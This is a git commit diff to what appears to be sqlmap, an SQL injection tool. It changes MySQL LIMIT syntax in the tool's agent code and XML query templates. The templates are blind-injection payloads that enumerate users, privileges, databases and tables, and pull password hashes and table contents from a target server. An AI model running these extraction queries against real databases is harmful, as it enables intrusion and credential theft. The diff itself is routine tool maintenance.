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Use LIMIT %d OFFSET %d insetad of LIMIT %d,%d in blind sql injection on MySQL dbms

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This commit is contained in:
globisz 2016-03-23 14:54:15 +01:00
parent 5b0d5970cc
commit ca90591845
2 changed files with 14 additions and 10 deletions
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6
lib/core/agent.py
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@ -886,7 +886,11 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
if Backend.isDbms(DBMS.MYSQL):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.SQLITE):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr

18
xml/queries.xml
View File

@ -7,7 +7,7 @@
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
<delimiter query=","/>
<limit query="LIMIT %d,%d"/>
<limit query="LIMIT %d OFFSET %d"/>
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="1"/>
<limitgroupstop query="2"/>
@ -26,28 +26,28 @@
<hostname query="@@HOSTNAME"/>
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 1 OFFSET 0)='Y'"/>
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 1 OFFSET 0)='%s'"/>
<users>
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT 1 OFFSET %d" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
</users>
<passwords>
<inband query="SELECT user,password FROM mysql.user" condition="user"/>
<blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
<blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
</passwords>
<privileges>
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
<blind query="SELECT DISTINCT(privilege_type) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee %s '%s' LIMIT %d,1" query2="SELECT select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee %s '%s'" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>
<blind query="SELECT DISTINCT(privilege_type) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee %s '%s' LIMIT 1 OFFSET %d" query2="SELECT select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user WHERE user='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee %s '%s'" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>
</privileges>
<roles/>
<dbs>
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1 OFFSET %d" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
</dbs>
<tables>
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' LIMIT %d,1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
</tables>
<columns>
<inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
@ -55,7 +55,7 @@
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
</dump_table>
<search_db>
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>